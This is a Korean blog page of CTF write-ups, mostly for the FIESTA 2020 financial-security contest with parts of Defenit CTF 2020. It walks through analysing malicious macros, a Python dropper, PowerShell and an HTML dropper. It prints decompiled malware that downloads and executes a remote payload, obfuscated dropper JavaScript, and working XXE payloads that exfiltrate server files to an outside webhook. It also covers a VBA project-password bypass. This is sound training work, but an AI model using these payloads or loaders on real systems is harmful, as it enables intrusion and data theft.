한글 단일 치환 암호 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374# coding: utf-8def divide_char(char): num = ord

j0n9hyun.xyz

 

 

필,켜,녈뇩 -> 천,지,인을   부터 시작하면 된다.

 

 

어느 정도 게싱으로 때려맞춰보면, 마지막에 문제를 확인할 수 있다.

 

 

해당 문제에 대한 답을 주어진 서버로 넘겨주면 플래그를 받을 수 있다.

 

반응형

'CTF Write Up' 카테고리의 다른 글

2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
CCE2020 Quals Write-up  (0) 2020.09.26
FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
반응형

forensic

keyboord

100

 

usb keyboard 패킷 캡쳐 파일이다.

github.com/TeamRocketIst/ctf-usb-keyboard-parser

 

TeamRocketIst/ctf-usb-keyboard-parser

This is the updated script from https://teamrocketist.github.io/2017/08/29/Forensics-Hackit-2017-USB-ducker/ - TeamRocketIst/ctf-usb-keyboard-parser

github.com

이거 이용해서 hex 데이터를 키보드 문자로 변환해준다.

 

해당 키보드로 c코드를 작성한 것 같다.

 

코드 작성해도 돌려주면 플래그가 나온다.

 

 

webpacket

100

웹소켓으로 id와 pw를 인증하는 과정이 있다.

 

id pw를 입력받는 페이지에서 인증서버로 인증을 거치는 것이라고 추측해볼 수 있다.

 

따라서 http 패킷 중에서 websocket발생 이전 패킷들을 살펴보았다.

찾았다.

13.209.132.135:4423으로 이동하였다.

 

login.js를 보면, 패스워드를 인코딩한다. xor이기 때문에 인코딩 함수를 그대로 사용하여 복호화하였다.

pw가 flag였다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
반응형

금융보안원 금융보안 위협분석 대회

TEAM : N0Named

 

fiesta.fsec.or.kr/

 

FIESTA 2020

금융보안 위협분석 대회 FIESTA 2020 Financial Institutes' Event on Security Threat Analysis 최 종 순 위 FIESTA2020 시상식 일정 일 시 : 2020. 11. 2. (월) 14:00 ~ 15:00 장 소 : 금융보안원 교육센터 (서울시 영등포구 의

fiesta.fsec.or.kr

 

Stepin-1

수상한 문서 파일이 전송되었다 ! 해당 문서 파일을 분석하여라 !
대상 환경 : Windows 10 Education, Build 18362.1016

세부문제1

악성 exe가 생성되는 전체 경로를 적으시오. (파일 이름, 확장자 포함)
예시 ) FIESTA2020{C:\Ex\Path\filename.exe}

 

doc파일이 주어진다.

 

매크로를 확인하기 위해 편집사용 클릭 후 보기 > 매크로 > 매크로 보기 에서 편집을 눌렀는데 에러가 났다.

 

 

컨텐츠 사용을 클릭하였더니 런타임 오류가 나고, 디버그를 클릭하였더니 Project 암호 입력 창이 나왔다.

 

 

 

이 인증 과정을 우회해주기 위해서 .doc 파일을 hex 에디터로 연 뒤, DPB값을 찾아준다.

이 DPB를 DPX로 바꿔주고 .doc를 열어준다.

 

 

 

다시 매크로> 매크로 보기 > 편집 으로 들어가니 잘 들어가졌다.

 

 

 

 

디버깅을 통해서 악성 exe가 생성되는 전체 경로를 찾을 수 있다.

 

 

 

v3rypog

김다원 연구원은 최근 수상한 메일을 수신한 적이 있어 본인이 사용하던 PC를 확인한 결과, 의심스러운 파일을 발견했다.
의심 파일을 분석하는 과정에서 pyc 파일 까지는 획득했으나, 이후 분석을 못하고 있는 상황이다.
분석을 통해 공격을 막을 수 있는 FLAG 를 획득하시오.

 

v3rypog-1

C&C 통신하는 서버 전체 주소값
입력 형식 : http:// 를 포함한 전체 주소값

v3rypog.pyc파일이 주어진다.

 

 

해당 파일을 hex로만 까봐도 주소값을 확인할 수 있다.

 

 

...

 

 

정석대로 pyc파일을 decompile해주자.

 

 

일단 pyc의 헤더값은 0x42 0x0d 이다. 0x0d42 = 3394,

 

github.com/google/pytype/blob/master/pytype/pyc/magic.py  

 

google/pytype

A static type analyzer for Python code. Contribute to google/pytype development by creating an account on GitHub.

github.com

즉 python3.7 버전에서 작성되었다는 것이다.

 

pyc 디컴파일에는 uncompyle6를 사용하면 된다. python3.7을 지원하는 uncompyle6 최신버전을 설치하고

 

pypi.org/project/uncompyle6/

 

uncompyle6

Python cross-version byte-code decompiler

pypi.org

 

 

디컴파일 해주면,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ uncompyle6 v3rypog.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.6.9 (default, Jul 17 2020, 12:50:27) 
# [GCC 8.4.0]
# Embedded file name: /private/tmp/v3rypog.py
# Compiled at: 2020-09-02 11:26:20
# Size of source mod 2**32: 2002 bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from threading import Timer
import getpass, hashlib, os, datetime, time, base64, json, marshal, types, string, sys, requests
big2 = '\n __      ______  _______     _______   ____   _____ \n \\ \\    / /___ \\|  __ \\ \\   / /  __ \\ / __ \\ / ____|\n  \\ \\  / /  __) | |__) \\ \\_/ /| |__) | |  | | |  __ \n   \\ \\/ /  |__ <|  _  / \\   / |  ___/| |  | | | |_ |\n    \\  /   ___) | | \\ \\  | |  | |    | |__| | |__| |\n     \\/   |____/|_|  \\_\\ |_|  |_|     \\____/ \\_____|\n'
PAYLAOD = requests.get('http://54.180.11.70/e.php').text
EXPLOIT = '{"iv": "XRUNPPQYG4Y5n53MZJo2AQ==", "ct": "' + PAYLAOD + '" }'
timestamp = '1585094400'
 
def aes_enc(data, key):
    cipher = AES.new(key, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data, AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    result = json.dumps({'iv':iv,  'ct':ct})
    return result
 
 
def aes_dec(enc_result, key):
    b64 = json.loads(enc_result)
    iv = base64.b64decode(b64['iv'])
    ct = base64.b64decode(b64['ct'])
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plain = unpad(cipher.decrypt(ct), AES.block_size)
    return plain
 
 
def key_num(tstamp):
    tm_stmp = int(tstamp)
    tsmp = datetime.datetime.fromtimestamp(tm_stmp).strftime('%Y%m%d')
    dt = int(tsmp[5:7])
    dt += int(tsmp[2]) * int(int(tsmp[0:2]) / int(tsmp[7])) * (int(tsmp[6]) + int(tsmp[7]))
    dt ^= int(tsmp[6:8])
    dt = dt + 0
    return dt
 
 
if __name__ == '__main__':
    if getpass.getuser()[0== 'd' and getpass.getuser()[2== 'k':
        user_key = getpass.getuser()
    else:
        exit()
    i = key_num(timestamp)
    x = bytes((i ^ j ^ x for j, x in enumerate((timestamp + '_' + user_key).encode('ascii')[:16])))
    dec = aes_dec(EXPLOIT, x)
    exploit_code = marshal.loads(dec)
    exec_exploit = types.FunctionType(exploit_code, globals(), 'payload')
    exec_exploit()
# okay decompiling v3rypog.pyc
 
cs

소스코드를 확인할 수 있다.

 

v3rypog2,3

 

그러나 위 코드로 브포를 돌려보면 의미있는 값이 나오지 않는다.

다시 pyc코드를 살펴보면 코드가 평문으로 들어가있는게 있다. 해당 부분 주석처리하고 다시 코드 돌려주면 의미있는 값을 구할 수 있다.

 

 

 

SharperGram

금융보안원에 재직중인 A씨는 평소 여행을 좋아하여 외국으로 여행을 자주 다니는 편이다. 
올해도 마찬가지로 여행 계획을 세우는 A씨는 최근 항공사로부터 항공권 관련 메일을 받게 되었고, 메일의 첨부파일을 확인한 A씨는 얼마 지나지않아 자신의 메일 계정 정보등이 유출된 사실을 알게되었다. 
A씨의 정보가 어떻게 유출되었는지 메일을 분석하시오.

SharperGram-1

메일 최초 발신자 IP, 도메인과 해당 도메인의 최초 등록자 정보를 조사하시오. (발신IP_발신도메인_도메인등록자이름(공백없이)_도메인등록국가코드) e.g.) 0.0.0.0_domain.tld_JohnSmith_KR

 

eml 파일이 주어진다. Outlook으로 열 수 있는데 발신자는 ticket-mailer@discountbok.com 이다.

 

-도메인 : discountbok.com

 

 

eml파일을 HxD로 열어서 해당 도메인을 검색하면 ip주소를 찾을 수 있다.

 

 

- ip주소 : 184.168.221.37

 

 

그리고 도메인의 최초 등록자 이름과 국가를 구하기 위해서 아래 사이트에 도메인을 검색해보았다.

 

 

whois-history.whoisxmlapi.com/lookup-report/x923eoolk7

 

 

discountbok.com | WHOIS History Lookup | WhoisXML API

discountbok.com lookup report. Uncover domain name history using WHOIS History Lookup and access 10+ years of WHOIS data with all recorded information on past owners and registrars.

whois-history.whoisxmlapi.com

2015년 7월 기록에서 이름과 국가를 찾을 수 있다.

 

flag : 184.168.221.37_discountbok.com_LannyTyndall_CN

 

SharperGram-2

추가 악성코드 다운로드 주소 및 저장되는 위치를 조사하시오.
저장되는 위치는 사용자마다 다르므로, 사용자명 이후의 경로부터 서술 (악성코드 유포지_저장경로)
e.g.) http://0.0.0.0/uri/dedf?a_\Dir\Dir2\filename.ext

 

 

해당 메일 첨부파일에는 i-Ticket.xls 엑셀 파일과 해당 엑셀 파일의 패스워드가 적힌 이미지 파일이 있다.

 

xls파일을 다운받아 실행한다. 패스워드를 입력해주고, 악성코드가 실행될 수 있도록, 편집 사용 -> 컨텐츠 사용을 차례로 눌러준다.

 

 

이후 분석이 간편하도록 파일 잠금을 해제한다.

파일 > 정보 > 통합 문서 보호 > 암호 설정 에서 암호 전부 지우고 확인

 

매크로를 확인하기 위해 보기> 매크로 > 매크로 보기 로 이동하였으나, 보이는 매크로는 없었다.

 

 

이미지를 클릭해보면 좌측상단에 러시아어3가 보인다. 

 

asec.ahnlab.com/1232

 

[주의] 국내 기업을 대상으로 대량 유포되는 엑셀 파일 분석 - Ammyy 원격제어 백도어와 Clop 랜섬웨

최근 국내에서 가장 이슈가 되는 타겟형 공격은 기업을 대상으로 유포되고 있는 Ammyy 원격제어 백도어와 이를 통해 설치되는 Clop 랜섬웨어이다. 백도어 파일은 온라인에 공개되어�

asec.ahnlab.com

위 내용과 유사하다.

 

최하단 Sheet1을 우클릭하여 코드보기를 클릭하면 저장된 매크로 코드를 확인할 수 있다.

 

코드를 분석해보면, 추가 악성코드 파일을 다운받아오는 서버 주소와, 다운로드 경로를 확인할 수 있다.

Application.StartupPath 는 디버깅을 통해서 찾을 수 있었다.

 

 

flag : http://54.180.66.177/xe_\AppData\Roaming\Microsoft\Excel\XLSTART\nc.exe

 

SharperGram-3

악성코드가 C2와 통신할 때 사용하는 토큰과 채널, 그리고 암호화 키값을 조사하시오.
(토큰값_채널값_암호화키값)
e.g.) token_channel_key

 

이제 위에서 다운받은 nc.exe를 분석하는 단계이다.

 

nc.exe를 실행하게 되면 유저 폴더에 .txt 파일이 생성되며 유저가 입력한 키 값을 저장하고 .fiesta 확장자로 바뀌며 암호화 되는 과정을 반복하는 것을 확인할 수 있다.

 

 

 

 

nc.exe는 ConfuserEx로 패킹이 되어 있다. 

ConfuserEx 언패킹 도구로 nc.exe를 언패킹 해주면 

 

 

이렇게 분석할 수 있는 상태가 된다.

 

.NET으로 작성되었으므로 dnSpy를 사용하여 디버깅 해주도록 한다.

 

 

리퀘스트를 날리는 부분인데, 이곳에 bp를 걸어서 url값과 password 값을 알아내면 된다.

 

텔레그램 봇 url이 나오는데, bot: 이후가 봇의 토큰값이다.

 

token : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE

채널 : 483139644

키 : F13stA-e0e0-k3y

 

flag : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE_483139644_F13stA-e0e0-k3y

 

 

 

 

 

PowerShellcode

A사의 침해대응 담당자인 김과장은 다수의 사내 PC에서 부팅시 업데이트 알림이 뜬다는 신고를 받고 조사에 착수한 결과, 수상한 파워쉘 실행 로그를 확인했다. 발견된 파워쉘 스크립트를 분석하시오.

PowerShellcode-1

악성 스크립트는 특정 타겟을 대상으로 동작한다. 타겟을 분석하여 첫번째 플래그를 획득하시오. (타겟도메인_타겟국가_동작시점, ex: test.com_japan_20201231)

 

.ps1으로 된 파워쉘 코드가 주어진다.

 

난독화가 되어 있다.

 

잘 복호화하다보면 ps코드를 외부에서 하나 더 다운받아온다.

그 코드를 다시 복호화해보면 의미있는 값을 찾을 수 있다. 

 

flag : secuholic.com_korea_20200707

 

PowerShellcode-2

악성 스크립트는 최초 감염시 C2서버에 전송할 수 있는 명령어 목록을 받아온다. 명령어 목록을 분석하여, 두번째 플래그를 획득하시오.

 

코드 분석해보면 또 코드 외부에서 받아서 실행하는 코드가 있다.

 

코드 복호화 해보면서 실행흐름을 따라가 보면,

c2서버와 통신하는 루틴이 나온다.

 

apitester.com/

 

API Tester

Note that by creating a share link, you will be making this test configuration accessible to anyone with the link. Please do not share sensitive information in this manner.

apitester.com

 

받아온 명령어는 : infect, getmsg, getflag 이고

사용한 명령어는 : IRIMFxIi, GwceHyIP 이다.

 

코드 돌려보니 맞았다.

 

그래서 getflag를 위 루틴으로 인코딩 후 리퀘

 

 

파워쉘 코드를 얻을 수 있는데, 그대로 파워쉘에 입력하면, MsgBox 형태로 flag가 출력된다.

PowerShellcode-3

 

C2서버에서 data에 전달되는 xml값을 파싱한다. 여기에 취약점이 있고, xxe를 시도해 보았다.

 

payload : 

1
2
3
4
5
6
7
8
command=IRIMFxIi&sec=fiesta2020&data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://255.255.255.255/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
cs

(255.255.255.255에는 개인 서버 주소)

 

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

 

이렇게 하면 index.php의 소스코드를 릭할 수 있다.

 

 

 

index.php에서 ./_readme_only_admin.php에 플래그가 있는 것을 알려준다.

 

 

_readme_only_admin.php의 소스코드를 릭해보면:

1
2
3
4
5
6
7
8
9
10
<?php
 
$flags = shell_exec('flags2');
 
if ($_SERVER['REMOTE_ADDR']!='127.0.0.1') {
    echo "you are not admin!!";
else {
    echo $flags;
}
?>
cs

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "http://127.0.0.1/_readme_only_admin.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

flag 값을 구할 수 있었다.

 

(응답서버로 값이 넘어 온 것은 아니고, c2서버 response에서 오류메세지에 플래그가 같이 딸려 나왔다.)

 

 

 

 

 

PayDay

금융회사 임직원 A씨는 여느 달과 같이 카드 이용 대금명세서 메일을 수신하였고 결제금액 및 상세 이용내역을 확인하기 위해 첨부문서(html)를 열람하였다. 보안 프로그램을 설치하고 생년월일을 입력하려는 순간 화면이 잠기고 키보드가 먹통이 되어 PC를 사용할 수 없게 되었다. 이를 해제하기 위해서는 Flag값을 입력해야 한다는 메시지박스가 생성되었다.

A씨는 즉시 정보보호부에 피해 사실을 신고하였다. 정보보호부 내의 CERT 팀은 추가 피해를 방지하고 업무연속성을 유지하기 위해 분석 작업을 시작하였다.

PayDay-2

암호화된 쉘코드를 실행하기 위해 C2 서버에서 수신한 문자열을 일련의 루틴을 거친 후 AES 복호화에 사용하는데, 이 때 사용되는 키값은? (0x 제외하고 Hex값 형태로 입력)

 

 

html 파일이 하나 주어진다.

 

코드를 정렬해주었다. (2번 문제를 푸는데에 상단 코드의 내용은 필요 없어서 제외했다.)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
function a() {
    try {
        var _0x34a867 = document['getElementById']('smime_body')['value'];
        var _0x59abc8 = Decode(_0x34a867);
        var _0x5683a6 = new Blob([_0x59abc8], {
            'type''application/octet-stream'
        });
        var _0x340994 = saveAs(_0x5683a6, '_Secure.msi');
        if (_0x340994 == ![]) {}
    } catch (_0x463d54) {}
}
 
function b() {
    try {
        var f = new ActiveXObject("Scripting.FileSystemObject");
        var fn = f.GetSpecialFolder(1+ "\\WindowsPowerShell\\v1.0\\powershell.exe";
        var a = "BWlucR0Le2AaYz44KQ==";
        var s = f.GetSpecialFolder(2+ clue(a);
        if (f.FileExists(fn)) {
            f.CopyFile(fn, s);
            return true;
        } else {
            return false;
        }
    } catch (e) {
        return false
    }
}
 
function c() {
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var a = "BTYJZG98fGFhCGdhaQgIeG11D2x0DHNtYWALEW5/fBFreHsWbgg3";
    var b = "BTYJE25+fxBhe2cTGnR4eG0OC2B0dH4WamAIYxt0C2IcDH1kYH03";
    var c = "BTYIbB8IemIcf2dmbAxyeG0Lf2x0D31hamAMYm90fRMbeHMRa3o3";
    var d = "BTYJZR99C2QffGdhb3V9eG16DG10DAtlYGAPF2F/cmAddHgUaQ83";
    var e = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3";
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(a))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(a));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(b))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(b));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(c))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(c));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(d))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(d));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(e))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(e));
    }
}
 
function d() {
    var a = "BWlucR0Le2AaYz44KQ==";
    var b = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3CX1pbhEffH8WdygyMA==";
    var c = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3VxAy8idAIoPzwuPnUKNDkhPCBkGzw5ZAI8Lwk5MCgkIXBjDjouIyY6OCkMPDUoYnIxOT4lY2JlYGtjfWx3e3x7YXtleigbBWJrCDkQYSt7FAsGAC0dJz45MQ8TJxgMMmUfdT0PHB16HBA0DRsNGAUYFQgMIy8rEmIJFBAEaD0QI2ksfmJvLH8FMSsEH2h0JCJoFBtiDiAHJyh7DjcSFDoYERc6Mg57fQw0PmV6KWMvLTxqZnV+aB4QFB1vCSIOehNpDHsTaGB+Y2F6Z2FuC3J4GAx6bHQICG1rdX8RYH8LZRswFisdC3gUb3UJezw1L3Jw";
    var d = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3V8GQ8YCWgWciJqCWUffQtkH3xnYW91fXhtegxtdAwLZWBgDxdhf3JgHXR4FGkPbSh+ETQRH38LY2EOZDAhKA==";
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var s = new ActiveXObject("WScript.shell");
    var st = f.GetSpecialFolder(2+ clue(a);
    var sc = f.GetSpecialFolder(2+ clue(b);
    if (f.FileExists(st)) {
        f.CopyFile(st, sc);
    }
    var c = sc + clue(c);
    var d = sc + clue(d);
    s.run(c, 0true);
    s.run(d, 0true);
    f.DeleteFile(sc);
}
 
function get_version_of_IE() {
    var word;
    var version = "N/A";
    var agent = navigator.userAgent.toLowerCase();
    var name = navigator.appName;
    if (name == "Microsoft Internet Explorer") word = "msie ";
    else {
        if (agent.search("trident"> -1) word = "trident/.*rv:";
        else if (agent.search("edge/"> -1) word = "edge/";
    }
    var reg = new RegExp(word + "([0-9]{1,})(\\.{0,}[0-9]{0,1})");
    if (reg.exec(agent) != null) version = RegExp.$1 + RegExp.$2;
    return version;
}
 
window.onload = function() {
    var isSuccess;
    var verString = get_version_of_IE();
    var verNumber = parseInt(get_version_of_IE(), 10);
    var savePath;
    if (verString == "N/A") {
        alert("지원하지 않는 형식의 브라우져 입니다.\n 지원 가능한 브라우져 : Internet Explorer");
    } else {
        alert('정보유출 방지를 위해 하단에 생성되는 보안 프로그램을 설치 후에 입력해주시기 바랍니다.');
        a();
        c();
        b();
        d();
    }
}
 
function clue(a) {
    var b = "NTk0ZDRhNTU=";
    c = atob(b);
    var c = c.toString();
    var d = '';
    for (var i = 0; i < c.length; i += 2) d += String.fromCharCode(parseInt(c.substr(i, 2), 16));
    e = atob(a);
    f = '';
    for (i = 0; i < e.length; i++) {
        f += String.fromCharCode(e[i].charCodeAt(0).toString(10) ^ d.charCodeAt(i % d.length).toString(10));
    }
    return f;
}
 
function bC() {
    a();
}
cs

 

a, c, b, d 함수 순서대로 실행하는데, d 함수에 있는 변수들의 인코딩을 풀어보면, 

 

 

 

이렇게 나오게 되고, c변수를 보면, p.exe파일을 다운로드 받아오는 것을 알 수 있다.

 

 

해당 파일을 다운로드 받아 분석을 시작한다.

 

 

 

올리디버거로 열어서 문자열들을 확인해 보면, AES, CBC, url 등이 보인다.

 

이 프로그램에서 aes 복호화가 일어남을 알 수 있다.

 

 

 

ida에서 메인함수 마지막 부분을 보면, for문이 16번 돌고 마지막에 sub_402361 함수 하나를 실행하는 것을 볼 수 있다.

 

aes 키는 16바이트 임으로 위 for 루틴이 키 생성 과정이고 마지막 함수가 복호화를 하는 함수라고 유추해 볼 수 있다.

 

 

해당 함수를 콜하는 주소인 5bc4에 bp를 걸고 디버깅을 했다.

 

 

그리고 해당 함수에 인자로 넘어가는 값에서 키값을 확인할 수 있었다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
CCE2020 Quals Write-up  (0) 2020.09.26
2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
반응형

2020 Defenit CTF Write-up 6/5 09:00 ~ 6/7 09:00 (UTC, 48h)

 

 

 

Forensic

Baby Steganography

I heared you can find hide data in Audio Sub Bit. Do you want to look for it?

 

 

.wav 파일이 주어진다. 문제 지문을 보면 Audio Sub Bit에 데이터를 숨긴다고 한다.

 

Audio Sub Bit...

 

Sub Bit...

 

SB...

 

LSB?

 

LSB가 아닐까 생각을 해보고서 바로 구글링을 했다.

 

 

 

https://medium.com/@sumit.arora/audio-steganography-the-art-of-hiding-secrets-within-earshot-part-2-of-2-c76b1be719b3

 

Audio Steganography : The art of hiding secrets within earshot (part 2 of 2)

In this article we take a look at methods and tools along with code walk-through for performing Audio Steganography.

medium.com

Audio Steganography : LSB

 

 

포스트를 내리다보면 Python으로 작성된 Decode 코드가 있다. 바로 긁어다가 실행해 보았다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Use wave package (native to Python) for reading the received audio file
import wave
song = wave.open("problem", mode='rb')
# Convert audio to byte array
frame_bytes = bytearray(list(song.readframes(song.getnframes())))
 
# Extract the LSB of each byte
extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
# Convert byte array back to string
string = "".join(chr(int("".join(map(str,extracted[i:i+8])),2)) for i in range(0,len(extracted),8))
# Cut off at the filler characters
decoded = string.split("###")[0]
 
# Print the extracted text
print("Sucessfully decoded: "+decoded)
song.close()
 
cs

 

Sucessfully decoded: Defenit{Y0u_knOw_tH3_@uD10_5t39@No9rAphy?!}

 

결과는 대성공.

 

 

 

 


Misc

QR Generator

Escape from QR devil!

 

nc 연결을 하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Let's START!
 
< QR >
1 1 1 1 1 1 1 0 1 1 0 0 0 1 1 0 1 1 1 1 1 0 1 1 1 1 1 1 1 
1 0 0 0 0 0 1 0 1 0 1 1 1 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 
1 0 1 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 0 1 1 0 1 0 1 1 1 0 1 
1 0 1 1 1 0 1 0 1 1 0 0 1 1 0 1 1 0 1 0 1 0 1 0 1 1 1 0 1 
1 0 1 1 1 0 1 0 1 0 1 0 1 0 0 1 0 1 0 0 1 0 1 0 1 1 1 0 1 
1 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 1 
1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1 
0 0 0 0 0 0 0 0 1 1 1 0 1 1 1 0 0 0 1 1 1 0 0 0 0 0 0 0 0 
0 1 0 1 0 1 1 0 1 0 0 1 0 1 1 0 0 0 1 1 0 1 1 0 1 1 1 1 1 
0 1 1 1 1 1 0 1 1 0 1 1 1 1 0 0 0 0 1 1 0 1 0 0 1 1 0 1 1 
0 1 0 1 0 1 1 1 1 0 1 1 0 0 1 1 1 1 0 1 1 0 0 0 0 0 0 0 1 
1 0 1 0 1 0 0 1 1 1 0 0 1 0 0 0 0 1 0 0 0 0 0 1 1 0 0 0 1 
0 0 0 0 1 0 1 1 1 0 0 1 0 0 0 0 0 0 1 0 0 0 1 0 1 0 1 0 1 
1 1 0 1 0 1 0 0 1 0 1 0 0 0 0 0 1 1 1 0 1 0 1 0 1 0 1 0 1 
0 1 1 0 1 0 1 1 1 1 1 1 1 0 1 0 1 1 0 0 1 0 0 1 0 1 0 1 1 
0 1 1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 1 1 1 0 1 0 1 0 1 0 1 
1 0 0 1 1 0 1 1 1 1 1 0 0 1 1 0 0 1 0 1 1 0 0 1 1 1 0 0 1 
1 0 0 1 0 0 0 0 1 1 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 0 0 
1 1 0 0 1 0 1 1 0 0 1 1 0 1 0 0 1 0 1 1 0 1 1 0 0 0 1 1 0 
0 0 1 1 0 0 0 0 0 0 0 0 0 1 0 0 1 1 0 1 0 0 0 1 0 1 0 1 1 
1 0 0 0 1 0 1 0 1 1 1 1 1 0 0 1 0 1 1 0 1 1 1 1 1 0 0 1 0 
0 0 0 0 0 0 0 0 1 0 1 0 0 0 1 1 0 0 1 1 1 0 0 0 1 0 0 0 0 
1 1 1 1 1 1 1 0 0 0 1 0 0 1 1 0 0 0 0 1 1 0 1 0 1 0 0 0 1 
1 0 0 0 0 0 1 0 1 1 1 1 0 1 0 1 1 1 0 0 1 0 0 0 1 1 1 1 0 
1 0 1 1 1 0 1 0 0 1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 0 
1 0 1 1 1 0 1 0 1 0 1 1 1 1 1 1 0 0 0 1 1 0 0 1 0 1 1 1 0 
1 0 1 1 1 0 1 0 0 0 1 0 0 0 0 0 1 1 0 0 1 1 0 0 0 0 0 0 0 
1 0 0 0 0 0 1 0 1 0 0 0 0 1 0 1 0 0 0 0 1 1 0 0 0 0 1 1 0 
1 1 1 1 1 1 1 0 0 0 0 1 1 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 
 
STAGE 1
>> Time Over!
 
cs

 

1과 0으로 된 qrcode를 보내준다.

 

하얀배경 이미지를 불러와서 값이 1이면 해당 위치의 픽셀의 값을 검정으로 바꾸도록 코드를 쓱-싹 작성해 준다.

하얀배경 이미지는 포토샵을 이용한다. 넉넉하게 200px*200px

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from PIL import Image
 
= remote("qr-generator.ctf.defenit.kr"9000)
p.recvuntil('name?')
p.sendline('M4ndU')
img = Image.open('./200.png') #load white background 200*200 image
img = img.convert("RGB")
newData = []
 
qrbin = [0* 200
p.recvuntil('< QR >\n')
for i in range(200):
    data = str(p.recvline())
    data = data.replace("b'""")
    data = data.replace("\\n'""")
    data = data.replace(" """)
    if data == "":
        print(p.recvline())
        break
    qrbin[i] = data
 
for x in range(len(qrbin)):
    if qrbin[x] == 0:
        break
    for y in range(len(str(qrbin[x]))):
        if qrbin[x][y] == "1":
            img.putpixel( (x, y), (000)) #black
 
img.save("./dimg/TransparentImage"+str(n)+".png""PNG")
 
 
p.interactive()
 
cs

 

그러면 이러한 qrcode 이미지를 만들어 낼 수 있다.

(제공되는 qrcode 크기가 제각각 이어서 배경 이미지의 크기에 여유를 주었다. 인식하는데에는 문제가 없었다.)

 

 

이제 이 qrcode를 decoding해서 보내주기만 하면 된다. 그러나 이 과정에서 삽질이 있었다.

 

이 qrcode이미지를 디코딩하는 방법에는 여러가지가 있다.

qrcode를 디코딩해주는 사이트에 리퀘스트 날려서 크롤링하는 방법. (이미지 보내고 크롤링 해야되는 무조건 버리고)

파이썬 모듈을 이용해서 디코딩 하는 방법.

 

